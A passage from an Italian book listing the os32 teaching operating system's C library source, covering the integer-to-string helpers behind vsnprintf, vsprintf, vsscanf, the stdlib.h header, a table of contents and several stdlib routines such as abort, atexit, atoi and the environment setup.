3240721              flag_minus          = 0;
3240722              flag_space          = 0;
3240723              flag_alternate      = 0;
3240724              flag_zero           = 0;
3240725            }
3240726        }
3240727      string[s] = '\0';
3240728      return s;
3240729  }
3240730  //----------------------------------------------------------------------
3240731  // Static functions.
3240732  //----------------------------------------------------------------------
3240733  static size_t
3240734  uimaxtoa (uintmax_t integer, char *buffer, int base, int uppercase,
3240735            size_t size)
3240736  {
3240737      //------------------------------------------------------------------
3240738      // Convert a maximum rank integer into a string.
3240739      //------------------------------------------------------------------
3240740
3240741          uintmax_t  integer_copy = integer;
3240742             size_t  digits;
3240743                int  b;
3240744      unsigned char  remainder;
3240745
3240746      for (digits = 0; integer_copy > 0; digits++)
3240747        {
3240748          integer_copy = integer_copy / base;
3240749        }
3240750
3240751      if (buffer == NULL && integer == 0) return 1;
3240752      if (buffer == NULL && integer > 0)  return digits;
3240753
3240754      if (integer == 0)
3240755        {
3240756          buffer[0] = '0';
3240757          buffer[1] = '\0';
```

```
3240758         return 1;
3240759       }
3240760     //
3240761     // Fix the maximum number of digits.
3240762     //
3240763     if (size > 0 && digits > size) digits = size;
3240764     //
3240765     *(buffer + digits) = '\0';             // End of string.
3240766 
3240767     for (b = digits - 1; integer != 0 && b >= 0; b--)
3240768       {
3240769         remainder = integer % base;
3240770         integer   = integer / base;
3240771 
3240772         if (remainder <= 9)
3240773           {
3240774             *(buffer + b) = remainder + '0';
3240775           }
3240776         else
3240777           {
3240778             if (uppercase)
3240779               {
3240780                 *(buffer + b) = remainder - 10 + 'A';
3240781               }
3240782             else
3240783               {
3240784                 *(buffer + b) = remainder - 10 + 'a';
3240785               }
3240786           }
3240787       }
3240788     return digits;
3240789 }
3240790 //----------------------------------------------------------------------
3240791 static size_t
3240792 imaxtoa (intmax_t integer, char *buffer, int base, int uppercase,
3240793          size_t size)
3240794 {
3240795     //------------------------------------------------------------------
3240796     // Convert a maximum rank integer with sign into a string.
3240797     //------------------------------------------------------------------
3240798 
3240799     if (integer >= 0)
3240800       {
3240801         return uimaxtoa (integer, buffer, base, uppercase, size);
3240802       }
3240803     //
3240804     // At this point, there is a negative number, less than zero.
3240805     //
3240806     if (buffer == NULL)
3240807       {
3240808         return uimaxtoa (-integer, NULL, base, uppercase, size) + 1;
3240809       }
```

```
3240810
3240811     *buffer = '-';        // The minus sign is needed at the beginning.
3240812     if (size == 1)
3240813       {
3240814         *(buffer + 1) = '\0';
3240815         return 1;
3240816       }
3240817     else
3240818       {
3240819         return uimaxtoa (-integer, buffer+1, base, uppercase, size-1)
3240820                + 1;
3240821       }
3240822 }
3240823 //----------------------------------------------------------------------
3240824 static size_t
3240825 simaxtoa (intmax_t integer, char *buffer, int base, int uppercase,
3240826           size_t size)
3240827 {
3240828     //------------------------------------------------------------------
3240829     // Convert a maximum rank integer with sign into a string, placing
3240830     // the sign also if it is positive.
3240831     //------------------------------------------------------------------
3240832
3240833     if (buffer == NULL && integer >= 0)
3240834       {
3240835         return uimaxtoa (integer, NULL, base, uppercase, size) + 1;
3240836       }
3240837
3240838     if (buffer == NULL && integer < 0)
3240839       {
3240840         return uimaxtoa (-integer, NULL, base, uppercase, size) + 1;
3240841       }
3240842     //
3240843     // At this point, 'buffer' is different from NULL.
3240844     //
3240845     if (integer >= 0)
3240846       {
3240847         *buffer = '+';
3240848       }
3240849     else
3240850       {
3240851         *buffer = '-';
3240852       }
3240853
3240854     if (size == 1)
3240855       {
3240856         *(buffer + 1) = '\0';
3240857         return 1;
3240858       }
3240859
3240860     if (integer >= 0)
3240861       {
```

```
3240862            return uimaxtoa (integer, buffer+1, base, uppercase, size-1)
3240863                   + 1;
3240864          }
3240865        else
3240866          {
3240867            return uimaxtoa (-integer, buffer+1, base, uppercase, size-1)
3240868                   + 1;
3240869          }
3240870  }
3240871  //----------------------------------------------------------------------
3240872  static size_t
3240873  uimaxtoa_fill (uintmax_t integer, char *buffer, int base,
3240874                 int uppercase, int width, int filler, int max)
3240875  {
3240876      //------------------------------------------------------------------
3240877      // Convert a maximum rank integer without sign into a string,
3240878      // takeing care of the alignment.
3240879      //------------------------------------------------------------------
3240880  
3240881      size_t size_i;
3240882      size_t size_f;
3240883  
3240884      if (max < 0) return 0; // «max» deve essere un valore positivo.
3240885  
3240886      size_i = uimaxtoa (integer, NULL, base, uppercase, 0);
3240887  
3240888      if (width > 0 &&  max > 0 && width >  max) width =  max;
3240889      if (width < 0 && -max < 0 && width < -max) width = -max;
3240890  
3240891      if (size_i > abs (width))
3240892        {
3240893          return uimaxtoa (integer, buffer, base, uppercase, abs (width));
3240894        }
3240895  
3240896      if (width == 0 && max > 0)
3240897        {
3240898          return uimaxtoa (integer, buffer, base, uppercase, max);
3240899        }
3240900  
3240901      if (width == 0)
3240902        {
3240903          return uimaxtoa (integer, buffer, base, uppercase, abs (width));
3240904        }
3240905      //
3240906      // size_i <= abs (width).
3240907      //
3240908      size_f = abs (width) - size_i;
3240909  
3240910      if (width < 0)
3240911        {
3240912          // Left alignment.
3240913          uimaxtoa (integer, buffer, base, uppercase, 0);
```

```
3240914            memset (buffer + size_i, filler, size_f);
3240915          }
3240916        else
3240917          {
3240918            // Right alignment.
3240919            memset (buffer, filler, size_f);
3240920            uimaxtoa (integer, buffer + size_f, base, uppercase, 0);
3240921          }
3240922        *(buffer + abs (width)) = '\0';
3240923
3240924        return abs (width);
3240925    }
3240926    //----------------------------------------------------------------------
3240927    static size_t
3240928    imaxtoa_fill (intmax_t integer, char *buffer, int base,
3240929                  int uppercase, int width, int filler, int max)
3240930    {
3240931        //------------------------------------------------------------------
3240932        // Convert a maximum rank integer with sign into a string,
3240933        // takeing care of the alignment.
3240934        //------------------------------------------------------------------
3240935
3240936        size_t size_i;
3240937        size_t size_f;
3240938
3240939        if (max < 0) return 0; // 'max' must be a positive value.
3240940
3240941        size_i = imaxtoa (integer, NULL, base, uppercase, 0);
3240942
3240943        if (width > 0 &&  max > 0 && width >  max) width =  max;
3240944        if (width < 0 && -max < 0 && width < -max) width = -max;
3240945
3240946        if (size_i > abs (width))
3240947          {
3240948            return imaxtoa (integer, buffer, base, uppercase, abs (width));
3240949          }
3240950
3240951        if (width == 0 && max > 0)
3240952          {
3240953            return imaxtoa (integer, buffer, base, uppercase, max);
3240954          }
3240955
3240956        if (width == 0)
3240957          {
3240958            return imaxtoa (integer, buffer, base, uppercase, abs (width));
3240959          }
3240960
3240961        // size_i <= abs (width).
3240962
3240963        size_f = abs (width) - size_i;
3240964
3240965        if (width < 0)
```

```
3240966         {
3240967           // Left alignment.
3240968           imaxtoa (integer, buffer, base, uppercase, 0);
3240969           memset (buffer + size_i, filler, size_f);
3240970         }
3240971       else
3240972         {
3240973           // Right alignment.
3240974           memset (buffer, filler, size_f);
3240975           imaxtoa (integer, buffer + size_f, base, uppercase, 0);
3240976         }
3240977       *(buffer + abs (width)) = '\0';
3240978
3240979       return abs (width);
3240980   }
3240981   //------------------------------------------------------------------------
3240982   static size_t
3240983   simaxtoa_fill (intmax_t integer, char *buffer, int base,
3240984                  int uppercase, int width, int filler, int max)
3240985   {
3240986       //--------------------------------------------------------------------
3240987       // Convert a maximum rank integer with sign into a string,
3240988       // placing the sign also if it is positive and takeing care of the
3240989       // alignment.
3240990       //--------------------------------------------------------------------
3240991
3240992       size_t size_i;
3240993       size_t size_f;
3240994
3240995       if (max < 0) return 0; // 'max' must be a positive value.
3240996
3240997       size_i = simaxtoa (integer, NULL, base, uppercase, 0);
3240998
3240999       if (width > 0 &&  max > 0 && width >  max) width =  max;
3241000       if (width < 0 && -max < 0 && width < -max) width = -max;
3241001
3241002       if (size_i > abs (width))
3241003         {
3241004           return simaxtoa (integer, buffer, base, uppercase, abs (width));
3241005         }
3241006
3241007       if (width == 0 && max > 0)
3241008         {
3241009           return simaxtoa (integer, buffer, base, uppercase, max);
3241010         }
3241011
3241012       if (width == 0)
3241013         {
3241014           return simaxtoa (integer, buffer, base, uppercase, abs (width));
3241015         }
3241016       //
3241017       // size_i <= abs (width).
```

```
3241018     //
3241019     size_f = abs (width) - size_i;
3241020
3241021     if (width < 0)
3241022       {
3241023         // Left alignment.
3241024         simaxtoa (integer, buffer, base, uppercase, 0);
3241025         memset (buffer + size_i, filler, size_f);
3241026       }
3241027     else
3241028       {
3241029         // Right alignment.
3241030         memset (buffer, filler, size_f);
3241031         simaxtoa (integer, buffer + size_f, base, uppercase, 0);
3241032       }
3241033     *(buffer + abs (width)) = '\0';
3241034
3241035     return abs (width);
3241036 }
3241037 //----------------------------------------------------------------------
3241038 static size_t
3241039 strtostr_fill (char *string, char *buffer, int width, int filler,
3241040                int max)
3241041 {
3241042     //------------------------------------------------------------------
3241043     // Transfer a string with care for the alignment.
3241044     //------------------------------------------------------------------
3241045
3241046     size_t size_s;
3241047     size_t size_f;
3241048
3241049     if (max < 0) return 0; // 'max' must be a positive value.
3241050
3241051     size_s = strlen (string);
3241052
3241053     if (width > 0 &&  max > 0 && width >  max) width =  max;
3241054     if (width < 0 && -max < 0 && width < -max) width = -max;
3241055
3241056     if (width != 0 && size_s > abs (width))
3241057       {
3241058         memcpy (buffer, string, abs (width));
3241059         buffer[width] = '\0';
3241060         return width;
3241061       }
3241062
3241063     if (width == 0 && max > 0 && size_s > max)
3241064       {
3241065         memcpy (buffer, string, max);
3241066         buffer[max] = '\0';
3241067         return max;
3241068       }
3241069
```

```
3241070     if (width == 0 && max > 0 && size_s < max)
3241071       {
3241072         memcpy (buffer, string, size_s);
3241073         buffer[size_s] = '\0';
3241074         return size_s;
3241075       }
3241076     //
3241077     // width =! 0
3241078     // size_s <= abs (width)
3241079     //
3241080     size_f = abs (width) - size_s;
3241081
3241082     if (width < 0)
3241083       {
3241084         // Right alignment.
3241085         memset (buffer, filler, size_f);
3241086         strncpy (buffer+size_f, string, size_s);
3241087       }
3241088     else
3241089       {
3241090         // Left alignment.
3241091         strncpy (buffer, string, size_s);
3241092         memset (buffer+size_s, filler, size_f);
3241093       }
3241094     *(buffer + abs (width)) = '\0';
3241095
3241096     return abs (width);
3241097 }
3241098
3241099
```

120.12.43 lib/stdio/vsprintf.c

Si veda la sezione 113.130.

```
3250001 #include <stdio.h>
3250002 //----------------------------------------------------------------------
3250003 int
3250004 vsprintf (char *restrict string, const char *restrict format,
3250005           va_list arg)
3250006 {
3250007     return (vsnprintf (string, BUFSIZ, format, arg));
3250008 }
```

120.12.44 lib/stdio/vsscanf.c

Si veda la sezione 113.131.

```
3260001 #include <stdio.h>
3260002 
3260003 //----------------------------------------------------------------------
3260004 int vfsscanf (FILE *restrict fp, const char *string,
3260005               const char *restrict format, va_list ap);
3260006 //----------------------------------------------------------------------
3260007 int
3260008 vsscanf (const char *string, const char *restrict format, va_list ap)
3260009 {
3260010     return (vfsscanf (NULL, string, format, ap));
3260011 }
3260012 //----------------------------------------------------------------------
```

120.13 os32: «lib/stdlib.h»

Si veda la sezione 116.2.

```
3270001 #ifndef _STDLIB_H
3270002 #define _STDLIB_H       1
3270003 //----------------------------------------------------------------------
3270004 #include <size_t.h>
3270005 #include <wchar_t.h>
3270006 #include <NULL.h>
3270007 #include <limits.h>
3270008 #include <restrict.h>
3270009 #include <stdint.h>
3270010 //----------------------------------------------------------------------
3270011 typedef struct {
3270012     int       quot;
3270013     int       rem;
3270014 } div_t;
3270015 //----------------------------------------------------------------------
3270016 typedef struct {
3270017     long int quot;
3270018     long int rem;
3270019 } ldiv_t;
3270020 //----------------------------------------------------------------------
3270021 typedef struct {
3270022     long long int quot;
3270023     long long int rem;
3270024 } lldiv_t;
3270025 //----------------------------------------------------------------------
3270026 typedef void (*atexit_t) (void);        // Non standard. [1]
3270027 //
3270028 // [1] The type 'atexit_t' is a pointer to a function for the "at exit"
3270029 //     procedure, with no parameters and returning void. With the
3270030 //     declaration of type 'atexit_t', the function prototype of
```

```
3270031 //      'atexit()' is easier to declare and to understand. Original
3270032 //      declaration is:
3270033 //
3270034 //               int atexit (void (*function) (void));
3270035 //
3270036 //----------------------------------------------------------------------
3270037 typedef struct {
3270038     uintptr_t allocated : 1,
3270039               filler    : 1,
3270040               next      : 30;
3270041 } _alloc_head_t;                         // Non standard [2]
3270042 //
3270043 // [2] This is used for the 'malloc()' management, as the pointer
3270044 //      to the following element of memory, that might be free or
3270045 //      allocated.
3270046 //
3270047 // La dimensione di «uintptr_t» condiziona la struttura «mm_head_t»
3270048 // e la dimensione delle unità minime di memoria allocata. «uintptr_t»
3270049 // è da 32 bit, così l'immagine del kernel è allineata a blocchi da
3270050 // 32 bit e così deve essere anche per gli altri blocchi di memoria.
3270051 // Essendo i blocchi di memoria multipli di 32 bit, gli indirizzi
3270052 // sono sempre multipli di 4 (4 byte); pertanto, servono solo 30 bit
3270053 // per rappresentare l'indirizzo, che poi viene ottenuto moltiplicandolo
3270054 // per quattro. Di conseguenza, il bit meno significativo viene usato
3270055 // per annotare se il blocco di memoria è libero e il bit successivo
3270056 // non viene usato. Questo meccanismo potrebbe essere usato anche
3270057 // con un indirizzamento a 16 bit, dove servirebbero 15 bit per
3270058 // indirizzi multipli di due byte.
3270059 //
3270060 //----------------------------------------------------------------------
3270061 #define EXIT_FAILURE    1
3270062 #define EXIT_SUCCESS    0
3270063 #define RAND_MAX        INT_MAX
3270064 #define MB_CUR_MAX      ((size_t) MB_LEN_MAX)
3270065 //----------------------------------------------------------------------
3270066 void              _Exit    (int status);
3270067 void              abort    (void);
3270068 int               abs      (int j);
3270069 int               atexit   (atexit_t function);
3270070 int               atoi     (const char *string);
3270071 long int          atol     (const char *string);
3270072 //void           *bsearch  (const void *key, const void *base,
3270073 //                          size_t nmemb, size_t size,
3270074 //                          int (*compar) (const void *, const void *));
3270075 #define           calloc(b, s) (malloc ((b) * (s)))
3270076 div_t             div      (int numer, int denom);
3270077 void              exit     (int status);
3270078 void              free     (void *ptr);
3270079 char             *getenv   (const char *name);
3270080 long int          labs     (long int j);
3270081 long long int     llabs    (long long int j);
3270082 ldiv_t            ldiv     (long int numer, long int denom);
```

```
3270083 lldiv_t            lldiv    (long long int numer, long long int denom);
3270084 void              *malloc   (size_t size);
3270085 int                putenv   (const char *string);
3270086 void               qsort    (void *base, size_t nmemb, size_t size,
3270087                              int (*compare) (const void *,
3270088                                              const void *));
3270089 int                rand     (void);
3270090 void              *realloc  (void *ptr, size_t size);
3270091 int                setenv   (const char *name, const char *value,
3270092                              int overwrite);
3270093 void               srand    (unsigned int seed);
3270094 long int           strtol   (const char *restrict string,
3270095                              char **restrict endptr, int base);
3270096 unsigned long int strtoul  (const char * restrict string,
3270097                              char ** restrict endptr, int base);
3270098 //int              system   (const char *string);
3270099 int                unsetenv (const char *name);
3270100 //----------------------------------------------------------------------
3270101 #endif
```

120.1 os32: file isolati della directory «lib/» 7457

120.1.1 lib/NULL.h 7457
120.1.2 lib/SEEK.h 7457
120.1.3 lib/assert.h 7457
120.1.4 lib/clock_t.h 7458
120.1.5 lib/ctype.h 7458
120.1.6 lib/limits.h 7459
120.1.7 lib/ptrdiff_t.h 7460
120.1.8 lib/restrict.h 7460
120.1.9 lib/size_t.h 7461
120.1.10 lib/stdarg.h 7461
120.1.11 lib/stdbool.h 7461
120.1.12 lib/stddef.h 7462
120.1.13 lib/stdint.h 7462
120.1.14 lib/time_t.h 7464
120.1.15 lib/wchar_t.h 7465

120.2 os32: «lib/_gcc.h» 7465

120.2.1 lib/_gcc/__divdi3.c 7471
120.2.2 lib/_gcc/__moddi3.c 7472
120.2.3 lib/_gcc/__udivdi3.c 7472
120.2.4 lib/_gcc/__umoddi3.c 7473
120.2.5 lib/_gcc/_lldiv.c 7473

120.2.6 lib/_gcc/_ulldiv.c 7474

120.3 os32: «lib/dirent.h» 7476

120.3.1 lib/dirent/DIR.c 7483
120.3.2 lib/dirent/closedir.c 7483
120.3.3 lib/dirent/opendir.c 7484
120.3.4 lib/dirent/readdir.c 7486
120.3.5 lib/dirent/rewinddir.c 7488

120.4 os32: «lib/errno.h» 7489

120.4.1 lib/errno/errno.c 7500

120.5 os32: «lib/fcntl.h» 7500

120.5.1 lib/fcntl/creat.c 7508
120.5.2 lib/fcntl/fcntl.c 7509
120.5.3 lib/fcntl/open.c 7510

120.6 os32: «lib/grp.h» 7510

120.6.1 lib/grp/grent.c 7517

120.7 os32: «lib/inttypes.h» 7519

120.7.1 lib/inttypes/imaxabs.c 7531
120.7.2 lib/inttypes/imaxdiv.c 7531

120.8 os32: «lib/libgen.h» 7532

120.8.1 lib/libgen/basename.c 7538
120.8.2 lib/libgen/dirname.c 7539

120.9 os32: «lib/pwd.h» 7541

120.9.1 lib/pwd/pwent.c 7548

120.10 os32: «lib/setjmp.h» 7550

120.10.1 lib/setjmp/longjmp.c 7557
120.10.2 lib/setjmp/setjmp.s 7558

120.11 os32: «lib/signal.h» 7559

120.11.1 lib/signal/_sighandler_wrapper.s 7566
120.11.2 lib/signal/kill.c 7567
120.11.3 lib/signal/signal.c 7568

120.12 os32: «lib/stdio.h» 7568

120.12.1 lib/stdio/FILE.c 7577
120.12.2 lib/stdio/clearerr.c 7577

120.12.3 lib/stdio/fclose.c 7577
120.12.4 lib/stdio/feof.c 7578
120.12.5 lib/stdio/ferror.c 7578
120.12.6 lib/stdio/fflush.c 7578
120.12.7 lib/stdio/fgetc.c 7579
120.12.8 lib/stdio/fgetpos.c 7579
120.12.9 lib/stdio/fgets.c 7580
120.12.10 lib/stdio/fileno.c 7581
120.12.11 lib/stdio/fopen.c 7581
120.12.12 lib/stdio/fprintf.c 7583
120.12.13 lib/stdio/fputc.c 7583
120.12.14 lib/stdio/fputs.c 7584
120.12.15 lib/stdio/fread.c 7584
120.12.16 lib/stdio/freopen.c 7585
120.12.17 lib/stdio/fscanf.c 7586
120.12.18 lib/stdio/fseek.c 7586
120.12.19 lib/stdio/fseeko.c 7586
120.12.20 lib/stdio/fsetpos.c 7587
120.12.21 lib/stdio/ftell.c 7587
120.12.22 lib/stdio/ftello.c 7588
120.12.23 lib/stdio/fwrite.c 7588
120.12.24 lib/stdio/getchar.c 7588
120.12.25 lib/stdio/gets.c 7589
120.12.26 lib/stdio/perror.c 7590
120.12.27 lib/stdio/printf.c 7591
120.12.28 lib/stdio/putchar.c 7591
120.12.29 lib/stdio/puts.c 7592
120.12.30 lib/stdio/rewind.c 7592
120.12.31 lib/stdio/scanf.c 7592
120.12.32 lib/stdio/setbuf.c 7593
120.12.33 lib/stdio/setvbuf.c 7593
120.12.34 lib/stdio/snprintf.c 7593
120.12.35 lib/stdio/sprintf.c 7594
120.12.36 lib/stdio/sscanf.c 7594
120.12.37 lib/stdio/vfprintf.c 7594
120.12.38 lib/stdio/vfscanf.c 7595
120.12.39 lib/stdio/vfsscanf.c 7595
120.12.40 lib/stdio/vprintf.c 7622
120.12.41 lib/stdio/vscanf.c 7623

120.12.42 lib/stdio/vsnprintf.c 7623
120.12.43 lib/stdio/vsprintf.c 7644
120.12.44 lib/stdio/vsscanf.c 7645

120.13 os32: «lib/stdlib.h» 7645

120.13.1 lib/stdlib/_Exit.c 7653
120.13.2 lib/stdlib/abort.c 7654
120.13.3 lib/stdlib/abs.c 7655
120.13.4 lib/stdlib/atexit.c 7655
120.13.5 lib/stdlib/atoi.c 7656
120.13.6 lib/stdlib/atol.c 7657
120.13.7 lib/stdlib/div.c 7657
120.13.8 lib/stdlib/environment.c 7658
120.13.9 lib/stdlib/exit.c 7659
120.13.10 lib/stdlib/getenv.c 7660
120.13.11 lib/stdlib/labs.c 7661
120.13.12 lib/stdlib/ldiv.c 7662
120.13.13 lib/stdlib/llabs.c 7662
120.13.14 lib/stdlib/lldiv.c 7662
120.13.15 lib/stdlib/putenv.c 7663
120.13.16 lib/stdlib/qsort.c 7664
120.13.17 lib/stdlib/rand.c 7667
120.13.18 lib/stdlib/setenv.c 7668
120.13.19 lib/stdlib/strtol.c 7670
120.13.20 lib/stdlib/strtoul.c 7674
120.13.21 lib/stdlib/unsetenv.c 7675
120.13.22 lib/stdlib_alloc/_alloc_list.c 7676
120.13.23 lib/stdlib_alloc/free.c 7678
120.13.24 lib/stdlib_alloc/malloc.c 7679
120.13.25 lib/stdlib_alloc/realloc.c 7684

120.14 os32: «lib/string.h» 7686

120.14.1 lib/string/memccpy.c 7693
120.14.2 lib/string/memchr.c 7693
120.14.3 lib/string/memcmp.c 7694
120.14.4 lib/string/memcpy.c 7694
120.14.5 lib/string/memmove.c 7695
120.14.6 lib/string/memset.c 7695
120.14.7 lib/string/strcat.c 7696
120.14.8 lib/string/strchr.c 7696

120.14.9 lib/string/strcmp.c 7697
120.14.10 lib/string/strcoll.c 7697
120.14.11 lib/string/strcpy.c 7698
120.14.12 lib/string/strcspn.c 7698
120.14.13 lib/string/strdup.c 7699
120.14.14 lib/string/strerror.c 7699
120.14.15 lib/string/strlen.c 7702
120.14.16 lib/string/strncat.c 7702
120.14.17 lib/string/strncmp.c 7703
120.14.18 lib/string/strncpy.c 7703
120.14.19 lib/string/strpbrk.c 7704
120.14.20 lib/string/strrchr.c 7704
120.14.21 lib/string/strspn.c 7705
120.14.22 lib/string/strstr.c 7705
120.14.23 lib/string/strtok.c 7706
120.14.24 lib/string/strxfrm.c 7709

120.15 os32: «lib/sys/os32.h» 7709

120.15.1 lib/sys/os32/input_line.c 7725
120.15.2 lib/sys/os32/mount.c 7729
120.15.3 lib/sys/os32/namep.c 7729
120.15.4 lib/sys/os32/sys.s 7732
120.15.5 lib/sys/os32/umount.c 7732
120.15.6 lib/sys/os32/z_perror.c 7733
120.15.7 lib/sys/os32/z_printf.c 7734
120.15.8 lib/sys/os32/z_vprintf.c 7734

120.16 os32: «lib/sys/stat.h» 7734

120.16.1 lib/sys/stat/chmod.c 7743
120.16.2 lib/sys/stat/fchmod.c 7743
120.16.3 lib/sys/stat/fstat.c 7744
120.16.4 lib/sys/stat/mkdir.c 7745
120.16.5 lib/sys/stat/mknod.c 7745
120.16.6 lib/sys/stat/stat.c 7746
120.16.7 lib/sys/stat/umask.c 7747

120.17 os32: «lib/sys/types.h» 7747

120.17.1 lib/sys/types/major.c 7754
120.17.2 lib/sys/types/makedev.c 7754
120.17.3 lib/sys/types/minor.c 7754

120.21.25 lib/unistd/getpid.c 7815
120.21.26 lib/unistd/getppid.c 7815
120.21.27 lib/unistd/getuid.c 7816
120.21.28 lib/unistd/isatty.c 7816
120.21.29 lib/unistd/link.c 7817
120.21.30 lib/unistd/lseek.c 7818
120.21.31 lib/unistd/pipe.c 7818
120.21.32 lib/unistd/read.c 7819
120.21.33 lib/unistd/rmdir.c 7820
120.21.34 lib/unistd/sbrk.c 7821
120.21.35 lib/unistd/setegid.c 7822
120.21.36 lib/unistd/seteuid.c 7822
120.21.37 lib/unistd/setgid.c 7823
120.21.38 lib/unistd/setpgrp.c 7823
120.21.39 lib/unistd/setuid.c 7823
120.21.40 lib/unistd/sleep.c 7824
120.21.41 lib/unistd/ttyname.c 7825
120.21.42 lib/unistd/unlink.c 7826
120.21.43 lib/unistd/write.c 7827

120.22 os32: «lib/utime.h» 7828

120.22.1 lib/utime/utime.c 7834

120.13.1 lib/stdlib/_Exit.c

Si veda la sezione 112.2.

```
3280001 #include <stdlib.h>
3280002 #include <sys/os32.h>
3280003 //----------------------------------------------------------------------
3280004 void
3280005 _Exit (int status)
3280006 {
3280007     sysmsg_exit_t msg;
3280008     //
3280009     // Only the low eight bit are returned.
3280010     //
3280011     msg.status = (status & 0xFF);
3280012     //
3280013     //
3280014     //
3280015     sys (SYS_EXIT, &msg, (sizeof msg));
3280016     //
3280017     // Should not return from system call, but if it does, loop
3280018     // forever:
3280019     //
3280020     while (1);
3280021 }
```

120.13.2 lib/stdlib/abort.c

Si veda la sezione 113.2.

```
3290001 #include <stdlib.h>
3290002 #include <sys/types.h>
3290003 #include <signal.h>
3290004 #include <unistd.h>
3290005 //----------------------------------------------------------------------
3290006 void
3290007 abort (void)
3290008 {
3290009     pid_t        pid;
3290010     sighandler_t sig_previous;
3290011     //
3290012     // Set 'SIGABRT' to a default action.
3290013     //
3290014     sig_previous = signal (SIGABRT, SIG_DFL);
3290015     //
3290016     // If the previous action was something different than symbolic
3290017     // ones, configure again the previous action.
3290018     //
3290019     if (sig_previous != SIG_DFL &&
3290020         sig_previous != SIG_IGN &&
3290021         sig_previous != SIG_ERR)
3290022       {
3290023         signal (SIGABRT, sig_previous);
3290024       }
3290025     //
3290026     // Get current process ID and sent the signal.
3290027     //
3290028     pid = getpid ();
3290029     kill (pid, SIGABRT);
3290030     //
3290031     // Second chance
3290032     //
3290033     for (;;)
3290034       {
3290035         signal (SIGABRT, SIG_DFL);
3290036         pid = getpid ();
3290037         kill (pid, SIGABRT);
3290038       }
3290039 }
```

120.13.3 lib/stdlib/abs.c

Si veda la sezione 113.3.

```
3300001 #include <stdlib.h>
3300002 //----------------------------------------------------------------------
3300003 int
3300004 abs (int j)
3300005 {
3300006     if (j < 0)
3300007       {
3300008         return -j;
3300009       }
3300010     else
3300011       {
3300012         return j;
3300013       }
3300014 }
```

120.13.4 lib/stdlib/atexit.c

Si veda la sezione 113.7.

```
3310001 #include <stdlib.h>
3310002 //----------------------------------------------------------------------
3310003 atexit_t _atexit_table[ATEXIT_MAX];
3310004 //----------------------------------------------------------------------
3310005 void
3310006 _atexit_setup (void)
3310007 {
3310008     int a;
3310009     //
3310010     for (a = 0; a < ATEXIT_MAX; a++)
3310011       {
3310012         _atexit_table[a] = NULL;
3310013       }
3310014 }
3310015 //----------------------------------------------------------------------
3310016 int
3310017 atexit (atexit_t function)
3310018 {
3310019     int a;
3310020     //
3310021     if (function == NULL)
3310022       {
3310023         return (-1);
3310024       }
3310025     //
3310026     for (a = 0; a < ATEXIT_MAX; a++)
3310027       {
3310028         if (_atexit_table[a] == NULL)
```

```
3310029             {
3310030               _atexit_table[a] = function;
3310031               return (0);
3310032             }
3310033         }
3310034       //
3310035       return (-1);
3310036   }
```

120.13.5 lib/stdlib/atoi.c

Si veda la sezione 113.8.

```
3320001   #include <stdlib.h>
3320002   #include <ctype.h>
3320003   //----------------------------------------------------------------------
3320004   int
3320005   atoi (const char *string)
3320006   {
3320007       int i;
3320008       int sign = +1;
3320009       int number;
3320010       //
3320011       for (i = 0; isspace (string[i]); i++)
3320012         {
3320013           ;
3320014         }
3320015       //
3320016       if (string[i] == '+')
3320017         {
3320018           sign = +1;
3320019           i++;
3320020         }
3320021       else if (string[i] == '-')
3320022         {
3320023           sign = -1;
3320024           i++;
3320025         }
3320026       //
3320027       for (number = 0; isdigit (string[i]); i++)
3320028         {
3320029           number *= 10;
3320030           number += (string[i] - '0');
3320031         }
3320032       //
3320033       number *= sign;
3320034       //
3320035       return number;
3320036   }
```

120.13.6 lib/stdlib/atol.c

Si veda la sezione 113.8.

```
3330001 #include <stdlib.h>
3330002 #include <ctype.h>
3330003 //----------------------------------------------------------------------
3330004 long int
3330005 atol (const char *string)
3330006 {
3330007     int      i;
3330008     int      sign = +1;
3330009     long int number;
3330010     //
3330011     for (i = 0; isspace (string[i]); i++)
3330012       {
3330013         ;
3330014       }
3330015     //
3330016     if (string[i] == '+')
3330017       {
3330018         sign = +1;
3330019         i++;
3330020       }
3330021     else if (string[i] == '-')
3330022       {
3330023         sign = -1;
3330024         i++;
3330025       }
3330026     //
3330027     for (number = 0; isdigit (string[i]); i++)
3330028       {
3330029         number *= 10;
3330030         number += (string[i] - '0');
3330031       }
3330032     //
3330033     number *= sign;
3330034     //
3330035     return number;
3330036 }
```

120.13.7 lib/stdlib/div.c

Si veda la sezione 113.16.

```
3340001 #include <stdlib.h>
3340002 //----------------------------------------------------------------------
3340003 div_t
3340004 div (int numer, int denom)
3340005 {
3340006     div_t d;
```

```
3340007      d.quot = numer / denom;
3340008      d.rem = numer % denom;
3340009      return d;
3340010  }
```

120.13.8 lib/stdlib/environment.c

Si veda la sezione 116.1.

```
3350001  #include <stdlib.h>
3350002  #include <string.h>
3350003  //----------------------------------------------------------------------
3350004  // This file contains a non standard definition, related to the
3350005  // environment handling.
3350006  //
3350007  // The file 'crt0.s', before calling the main function, calls the
3350008  // function '_environment_setup(), that is responsible for initializing
3350009  // the array '_environment_table[][]' and for copying the content
3350010  // of the environment, as it comes from the 'exec()' system call.
3350011  //
3350012  // The pointers to the environment strings organised inside the
3350013  // array '_environment_table[][]', are also copied inside the
3350014  // array of pointers '_environment[]'.
3350015  //
3350016  // After all that is done, inside 'crt0.s', the pointer to
3350017  // '_environment[]' is copied to the traditional variable 'environ'
3350018  // and also to the previous value of the pointer variable 'envp'.
3350019  //
3350020  // This way, applications will get the environment, but organised
3350021  // inside the table '_environment_table[][]'. So, functions like
3350022  // 'getenv()' and 'setenv()' do know where to look for.
3350023  //
3350024  // It is useful to notice that there is no prototype and no extern
3350025  // declaration inside the file <stdlib.h>, about this function
3350026  // and these arrays, because applications do not have to know about
3350027  // it.
3350028  //
3350029  // Please notice that 'environ' could be just the same as
3350030  // '_environment' here, but the common use puts 'environ' inside
3350031  // <unistd.h>, although for this implementation it should be better
3350032  // placed inside <stdlib.h>.
3350033  //
3350034  //----------------------------------------------------------------------
3350035  char  _environment_table[ARG_MAX/32][ARG_MAX/16];
3350036  char *_environment[ARG_MAX/32+1];
3350037  //----------------------------------------------------------------------
3350038  void
3350039  _environment_setup (char *envp[])
3350040  {
3350041      int e;
3350042      int s;
```

```
3350043         //
3350044         // Reset the `_environment_table[][]' array.
3350045         //
3350046         for (e = 0; e < ARG_MAX/32; e++)
3350047           {
3350048             for (s = 0; s < ARG_MAX/16; s++)
3350049               {
3350050                 _environment_table[e][s] = 0;
3350051               }
3350052           }
3350053         //
3350054         // Set the `_environment[]' pointers. The final extra element must
3350055         // be a NULL pointer.
3350056         //
3350057         for (e = 0; e < ARG_MAX/32 ; e++)
3350058           {
